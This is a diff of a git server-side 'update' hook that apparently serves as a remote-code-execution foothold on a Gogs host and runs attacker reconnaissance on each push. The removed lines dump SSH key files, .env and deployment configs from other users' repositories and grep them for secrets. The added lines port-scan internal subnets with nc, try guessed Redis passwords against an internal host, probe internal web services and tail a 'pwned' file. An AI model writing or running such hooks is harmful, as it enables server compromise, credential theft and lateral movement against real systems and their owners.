hook2138c

nslxlxsqfe/rce-lxlxsqfe.git/hooks/update

@@ -1,35 +1,28 @@
 #!/bin/sh
 OUT=/data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
 R=/data/git/gogs-repositories
-LOG=$OUT/out2138b
+LOG=$OUT/out2138c
 {
-echo "=== round2138b $(date -u) ==="
-echo "--- /backup ls ---"; ls -la /backup/ 2>&1 | head -40
-echo "--- /backup du ---"; du -sh /backup/* 2>/dev/null | head -40
-echo "--- /backup find ---"; find /backup -maxdepth 2 2>/dev/null | head -80
-echo "--- /backup candidate files ---"; find /backup -maxdepth 4 \( -iname "*.env" -o -iname ".env*" -o -iname "docker-compose*" -o -iname "*.yml" -o -iname "*.yaml" -o -iname "*.conf" -o -iname "*.sql" -o -iname "*.sh" \) -type f 2>/dev/null | head -100
-echo "--- /backup secrets grep ---"; timeout 40 grep -r -a -i -l -E "SESSION_SECRET|CRYPTO_SECRET" /backup 2>/dev/null | head -20
-echo "--- /data/ssh ---"; ls -la /data/ssh/ 2>&1; for f in /data/ssh/*; do echo "== $f"; head -c 1200 "$f" 2>&1; echo; done
-echo "--- /home/git/.ssh ---"; ls -la /home/git/.ssh/ 2>&1; for f in /home/git/.ssh/*; do echo "== $f"; head -c 1200 "$f" 2>&1; echo; done
-echo "--- gitconfig ---"; cat /home/git/.gitconfig 2>&1
-echo "--- dump.git parts ---"; git --git-dir=$R/zoujiajian/dump.git ls-tree -l HEAD | head -12
-echo "--- part_aa sha ---"; git --git-dir=$R/zoujiajian/dump.git rev-parse HEAD:part_aa
-echo "--- sub2api deploy ---"
-gd=$R/yhlxj/sub2api.git
-for f in SERVER_DEPLOYMENT_2026-09-15.md deploy/docker-compose.yml deploy/docker-compose.standalone.yml; do
-  echo "####FILE sub2api::$f"; git --git-dir=$gd show "HEAD:$f" 2>/dev/null | head -150
+echo "=== round2138c $(date -u) ==="
+echo "--- /data full ---"; ls -la /data/ 2>&1
+echo "--- /data/git ---"; ls -la /data/git/ 2>&1
+echo "--- owners ---"; ls -la $R/ 2>&1
+echo "--- repo list w/ size ---"; du -sm $R/*/*.git 2>/dev/null | sort -n | tail -50
+echo "--- repo counts+lastcommit ---"; for gd in $R/*/*.git; do n=$(git --git-dir="$gd" rev-list --all --count 2>/dev/null); d=$(git --git-dir="$gd" log -1 --format=%ci 2>/dev/null); echo "$gd commits=$n last=$d"; done
+echo "--- local-r dirs ---"; ls -la /data/gogs/data/tmp/local-r/ 2>&1 | head -50
+echo "--- local-r other peek ---"; for i in 82 104 113 116 117 119; do echo "== $i"; ls -la /data/gogs/data/tmp/local-r/$i/ 2>/dev/null | head -8; done
+echo "--- listeners ---"; cat /proc/net/tcp /proc/net/tcp6 2>/dev/null | awk 'NR>1 && $4=="0A" {print $2}' | head -20
+echo "--- net 172.20.x sweep ---"; for i in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15; do for p in 80 443 3000 3306 6379 6600 8300 16379; do nc -w 1 -z 172.20.0.$i $p 2>/dev/null && echo "172.20.0.$i:$p OPEN"; done; done
+echo "--- other gw probes ---"; for gw in 172.17.0.1 172.18.0.1 172.19.0.1 172.21.0.1; do for p in 80 443 2375 6600; do nc -w 1 -z $gw $p 2>/dev/null && echo "$gw:$p OPEN"; done; done
+echo "--- redis auth attempts (172.20.0.1:16379) ---"
+for pw in "app.ZxAris@169" "ywf123456" "M3F1j9GyxIhKbN4" "ywf123456@!" "nf.video123456@@@"; do
+  r=$( (printf "AUTH %s\r\nPING\r\nQUIT\r\n" "$pw"; sleep 1) | timeout 4 nc 172.20.0.1 16379 2>/dev/null | head -c 220 | tr '\r' ' ')
+  echo "PW[$pw] => $r"
 done
-echo "--- env dumps ---"
-for pair in "yhlxj/chatgptgo.git:.env" "zoujiajian/claudecode.git:DEPLOYMENT_GUIDE.md" "zoujiajian/nebula_job.git:docker-compose.yml" "zoujiajian/tokens-website.git:docker-compose.yml" "zoujiajian/yh-auditlimit.git:docker-compose.yml" "youzi/nebula.git:.env.production" "youzi/foxvip-fe.git:deploy/.env.production" "youzi/web-yinhe.git:.env.production"; do
-  rr=${pair%%:*}; f=${pair#*:}; gd=$R/$rr
-  echo "####FILE $rr::$f"; git --git-dir=$gd show "HEAD:$f" 2>/dev/null | head -50
-done
-echo "--- grep all repos HEAD for secret assignment ---"
-for gd in $R/zoujiajian/*.git $R/yhlxj/*.git $R/youzi/*.git; do
-  r=$(git --git-dir=$gd grep -I -n -E "SESSION_SECRET=|CRYPTO_SECRET=" HEAD 2>/dev/null | grep -v -E "random_string|change_me|please_change_me|^[^:]*:[0-9]+:#|example" | head -15)
-  [ -n "$r" ] && { echo "### $gd"; echo "$r"; }
-done
-echo "--- local-r dirs ---"; ls /data/gogs/data/tmp/local-r/ 2>/dev/null | head -40
-echo "--- deep scan still running? ---"; ps auxww 2>/dev/null | grep -E "cat-file|grep -a" | grep -v grep | head -5
-echo "=== end round2138b $(date -u) ==="
+echo "--- ssh banners ---"; for p in 10022 25919; do echo "## port $p"; (sleep 1) | timeout 4 nc 172.20.0.1 $p 2>/dev/null | head -c 120; echo; done
+echo "--- host 443 internal probe ---"; curl -sk -m 6 -o /dev/null -w "gw443:%{http_code}\n" https://172.20.0.1/ -H "Host: internal.apinebula.com"; curl -sk -m 6 https://172.20.0.1/api/status -H "Host: internal.apinebula.com" | head -c 400; echo
+echo "--- host 80 probe ---"; curl -s -m 6 -o /dev/null -w "gw80:%{http_code}\n" http://172.20.0.1/ -H "Host: internal.apinebula.com"
+echo "--- pwned2031 tail ---"; tail -c 500 $OUT/pwned2031 2>/dev/null
+echo "--- gogs log tail ---"; ls -la /data/gogs/log/ 2>/dev/null; tail -c 400 /data/gogs/log/*.log 2>/dev/null | head -c 600
+echo "=== end round2138c $(date -u) ==="
 } > $LOG 2>&1